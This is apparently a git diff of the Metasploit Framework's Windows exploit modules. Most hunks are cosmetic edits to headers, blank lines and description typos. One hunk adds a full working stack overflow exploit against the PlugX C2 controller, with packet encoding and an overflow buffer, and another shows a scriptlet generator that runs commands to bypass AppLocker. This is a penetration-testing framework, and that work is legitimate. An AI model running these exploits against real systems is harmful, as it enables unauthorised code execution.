diff --git a/modules/exploits/windows/misc/hta_server.rb b/modules/exploits/windows/misc/hta_server.rb
index 9550421ec5..6398b67002 100644
--- a/modules/exploits/windows/misc/hta_server.rb
+++ b/modules/exploits/windows/misc/hta_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb
index 2f0ea3d8a8..d32d465bdf 100644
--- a/modules/exploits/windows/misc/ib_isc_attach_database.rb
+++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -172,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb
index cdb0b859fb..d5576cc2f0 100644
--- a/modules/exploits/windows/misc/ib_isc_create_database.rb
+++ b/modules/exploits/windows/misc/ib_isc_create_database.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -172,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb
index 5b5f9119a7..6233709bc9 100644
--- a/modules/exploits/windows/misc/ib_svc_attach.rb
+++ b/modules/exploits/windows/misc/ib_svc_attach.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -172,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb
index f1a1f99daf..0cd0b6d531 100644
--- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb
+++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
index ce0a03f4a4..6f99b65875 100644
--- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
+++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -305,5 +305,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "#{peer} - Unexpected response")
     end
   end
-
 end
diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb
index a7dc3af015..cc6249c7dd 100644
--- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb
+++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb
index 564f13100c..21ecafa1fe 100644
--- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb
+++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -143,5 +143,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb
index c591ed3d8a..ca5b2bcc9c 100644
--- a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb
+++ b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -113,5 +113,4 @@ class MetasploitModule < Msf::Exploit::Remote
           'data'        => req
       })
   end
-
 end
diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb
index 67fe67c974..2c679c059b 100644
--- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb
+++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -245,7 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
   def junk
     rand_text_alpha(4).unpack("L")[0].to_i
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb
index 23b622d4f8..84dfeb607c 100644
--- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb
+++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(udp_sock)
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb
index 844b3fad5e..0684ba0e49 100644
--- a/modules/exploits/windows/misc/lianja_db_net.rb
+++ b/modules/exploits/windows/misc/lianja_db_net.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb
index 6f545c4cde..9cf2977a60 100644
--- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb
+++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -214,5 +214,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb
index e797b3cad3..7cedcbd47a 100644
--- a/modules/exploits/windows/misc/mercury_phonebook.rb
+++ b/modules/exploits/windows/misc/mercury_phonebook.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb
index bc8ea2c951..301d921fc3 100644
--- a/modules/exploits/windows/misc/mini_stream.rb
+++ b/modules/exploits/windows/misc/mini_stream.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow',
       'Description' => %q{
           This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
-        By creating a specially crafted pls file, an an attacker may be able
+        By creating a specially crafted pls file, an attacker may be able
         to execute arbitrary code.
       },
       'License' => MSF_LICENSE,
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @p = payload.encoded
     super
   end
-
 end
diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb
index bf6a39239c..57b83c5aef 100644
--- a/modules/exploits/windows/misc/mirc_privmsg_server.rb
+++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb
index 0d81ba82c5..9909260927 100644
--- a/modules/exploits/windows/misc/ms07_064_sami.rb
+++ b/modules/exploits/windows/misc/ms07_064_sami.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
index 7fd6ef7583..bb5553d32b 100644
--- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb
+++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,6 +144,5 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
 
diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb
index 596818ec9e..0d01d60312 100644
--- a/modules/exploits/windows/misc/netcat110_nt.rb
+++ b/modules/exploits/windows/misc/netcat110_nt.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb
index e6ae4fa612..c22d293871 100644
--- a/modules/exploits/windows/misc/nettransport.rb
+++ b/modules/exploits/windows/misc/nettransport.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/nvidia_mental_ray.rb b/modules/exploits/windows/misc/nvidia_mental_ray.rb
index 2c9f5cbdb4..597af2b8ef 100644
--- a/modules/exploits/windows/misc/nvidia_mental_ray.rb
+++ b/modules/exploits/windows/misc/nvidia_mental_ray.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/plugx.rb b/modules/exploits/windows/misc/plugx.rb
new file mode 100644
index 0000000000..200f732c57
--- /dev/null
+++ b/modules/exploits/windows/misc/plugx.rb
@@ -0,0 +1,171 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'zlib'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'PlugX Controller Stack Overflow',
+      'Description'    => %q{
+          This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
+      },
+      'Author'         => 'Professor Plum',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'AllowWin32SEH' => true
+        },
+      'Payload'        =>
+        {
+          'Space'    => 0xe000,
+          'BadChars' => '',
+          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
+        },
+      'Platform'       => 'win',
+      'DisclosureDate' => 'Jul 27 2017',
+      'Targets'        =>
+        [
+          ['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
+          ['PlugX Type I',         { 'xor' => 1, 'callebp' => 0x004045c4 }],
+          ['PlugX Type II',        { 'xor' => 2, 'callebp' => 0x004045c4 }]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget' => 2)
+    )
+
+    register_options(
+      [
+        Opt::RPORT(13579)
+      ]
+    )
+  end
+
+  def xor_stream1(key, src)
+    key0 = key1 = key2 = key3 = key
+    dst = ''
+    for i in 0..(src.size - 1)
+      key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
+      key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
+      key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
+      key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
+      new_key = (key2 + key3 + key1 + key0) & 0xFF
+      res = src[i].ord ^ new_key
+      dst += res.chr
+    end
+    dst
+  end
+
+  def xor_stream1a(key, src)
+    key0 = key1 = key2 = key3 = key
+    dst = ''
+    for i in 0..(src.size - 1)
+      key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
+      key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
+      key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
+      key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
+      new_key = (key2 + key3 + key1 + key0) & 0xFF
+      res = src[i].ord ^ new_key
+      dst += res.chr
+    end
+    dst
+  end
+
+  def xor_stream2(key, data)
+    dst = ''
+    for i in 0..(data.size - 1)
+      key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
+      dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
+    end
+    dst
+  end
+
+  def xor_wrap(key, data)
+    if target['xor'] == 0
+      return xor_stream1a(key, data)
+    elsif target['xor'] == 1
+      return xor_stream1(key, data)
+    elsif target['xor'] == 2
+      return xor_stream2(key, data)
+    end
+    print_status('Unknown PlugX Type')
+  end
+
+  def validate_response(data)
+    if data.nil?
+      print_status('Server closed connection')
+      return false
+    end
+    if data.empty?
+      print_status('No response recieved')
+      return false
+    end
+    if data.size < 16
+      print_status('Invalid packet')
+      print_status(data.inspect)
+      return false
+    end
+    key = data[0..4].unpack('<I')[0]
+    hdr = xor_wrap(key, data[0..16])
+    _x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
+    if (comp_size + 16) == data.size
+      raw = xor_wrap(key, data[16..-1])
+      print_status(raw.inspect)
+      return true
+    end
+    false
+  end
+
+  def check
+    connect
+    key = rand(0xFFFFFFFF)
+    hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
+    hdr = xor_wrap(key, hh)
+    sock.put([key].pack('<I') + hdr[4..-1])
+    if validate_response(sock.get_once || '')
+      return Exploit::CheckCode::Appears
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def decode_packet(data)
+    key = data[0..4].unpack('<I')
+    _x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')
+
+    buf = xor_stream(key, data[16..-1])
+    buf = decompress(buf)
+    return the_flags[flags & 0xffff], xx, buf
+  end
+
+  def exploit
+    print_status("Trying target #{target.name}...")
+
+    l = 0xF008
+    pad = 0x18
+    a = 0x004045c4
+    pktlen = l + pad + 9
+    jmp = "\xe9" + [-pktlen].pack('<I')
+    key = rand(0xFFFFFFFF)
+    hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
+    hdr = xor_wrap(key, hh)
+    pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp
+
+    connect
+    sock.put(pkt)
+
+    print_status('Waiting for response')
+    validate_response(sock.get_once)
+    disconnect
+
+    handler
+  end
+end
diff --git a/modules/exploits/windows/misc/poisonivy_21x_bof.rb b/modules/exploits/windows/misc/poisonivy_21x_bof.rb
index 51ce49f7f9..141999e6e2 100644
--- a/modules/exploits/windows/misc/poisonivy_21x_bof.rb
+++ b/modules/exploits/windows/misc/poisonivy_21x_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -188,5 +188,4 @@ class MetasploitModule < Msf::Exploit::Remote
     select(nil,nil,nil,5)
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb
index aad42b6d3b..ee125dca76 100644
--- a/modules/exploits/windows/misc/poisonivy_bof.rb
+++ b/modules/exploits/windows/misc/poisonivy_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
           'Andrzej Dereszowski', # Vulnerability Discovery
           'Gal Badishi', # Exploit and Metasploit module
           'juan vazquez', # Testing and little of Metasploit-fu
-          'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
+          'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for brute forcing by (ab)using C&C challenge-response as encryption oracle
         ],
       'References'     =>
         [
@@ -174,7 +174,6 @@ class MetasploitModule < Msf::Exploit::Remote
     select(nil,nil,nil,5)
     disconnect
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb
index 099b77d44a..8b77f1d403 100644
--- a/modules/exploits/windows/misc/poppeeper_date.rb
+++ b/modules/exploits/windows/misc/poppeeper_date.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb
index a25a160e22..13d6822b60 100644
--- a/modules/exploits/windows/misc/poppeeper_uidl.rb
+++ b/modules/exploits/windows/misc/poppeeper_uidl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb
index c875f8bf5f..39d49edb89 100644
--- a/modules/exploits/windows/misc/realtek_playlist.rb
+++ b/modules/exploits/windows/misc/realtek_playlist.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
index b4d63390e0..bb12511682 100644
--- a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
+++ b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def gen_sct_file(command)
     %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
   end
-
 end
diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb
index 2e30b29013..9499a77bd6 100644
--- a/modules/exploits/windows/misc/sap_2005_license.rb
+++ b/modules/exploits/windows/misc/sap_2005_license.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
index 8db4297820..b15006cdc8 100644
--- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
+++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -174,5 +174,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb
index dc2c5ba48d..89650aed6e 100644
--- a/modules/exploits/windows/misc/shixxnote_font.rb
+++ b/modules/exploits/windows/misc/shixxnote_font.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb
index b84b608735..87081fc3db 100644
--- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb
+++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res = sock.get_once
     disconnect
     if !res
-      vprint_error "Connection failed."
+      vprint_error "Connection failed"
       Exploit::CheckCode::Unknown
     elsif res == "\x00\x00\x00\x00"
       vprint_status "Received reply (#{res.length} bytes)"
@@ -111,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res = sock.get_once
     disconnect
     if !res
-      fail_with(Failure::Unknown, "#{peer} - Connection failed.")
+      fail_with(Failure::Unknown, "#{peer} - Connection failed")
     elsif res == "\x00\x00\x00\x00"
       print_status "Received reply (#{res.length} bytes)"
     else
diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb
index 0c7121c5cc..18803748be 100644
--- a/modules/exploits/windows/misc/splayer_content_type.rb
+++ b/modules/exploits/windows/misc/splayer_content_type.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "SPlayer 3.7 Content-Type Buffer Overflow",
       'Description'    => %q{
-          This module exploits a vulnerability in SPlayer v3.7 or piror.  When SPlayer
+          This module exploits a vulnerability in SPlayer v3.7 or prior.  When SPlayer
         requests the URL of a media file (video or audio), it is possible to gain arbitrary
         remote code execution due to a buffer overflow caused by an exceeding length of data
         as the 'Content-Type' parameter.
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, '', {'Content-Type'=>sploit})
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb
index 86036d1fdc..04a6a2f070 100644
--- a/modules/exploits/windows/misc/stream_down_bof.rb
+++ b/modules/exploits/windows/misc/stream_down_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'CoCSoft StreamDown 6.8.0 Buffer Overflow',
       'Description'    => %q{
         Stream Down 6.8.0 seh based buffer overflow triggered when processing
-        the server reponse packet.During the overflow a structured exception
+        the server response packet. During the overflow a structured exception
         handler is overwritten.
       },
       'Author'         => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',
diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb
index 6b4abd3894..46d323d9eb 100644
--- a/modules/exploits/windows/misc/talkative_response.rb
+++ b/modules/exploits/windows/misc/talkative_response.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb
index 7469432d7a..a8d01bc5c2 100644
--- a/modules/exploits/windows/misc/tiny_identd_overflow.rb
+++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -61,5 +61,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
index b4a68d323b..c9b2a90104 100644
--- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
+++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb
index f83ea8ef8c..69628012c8 100644
--- a/modules/exploits/windows/misc/ufo_ai.rb
+++ b/modules/exploits/windows/misc/ufo_ai.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     client.put(buffer)
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
index 3ce0b91934..b486ccf984 100644
--- a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
+++ b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
@@ -1,3 +1,8 @@
+##
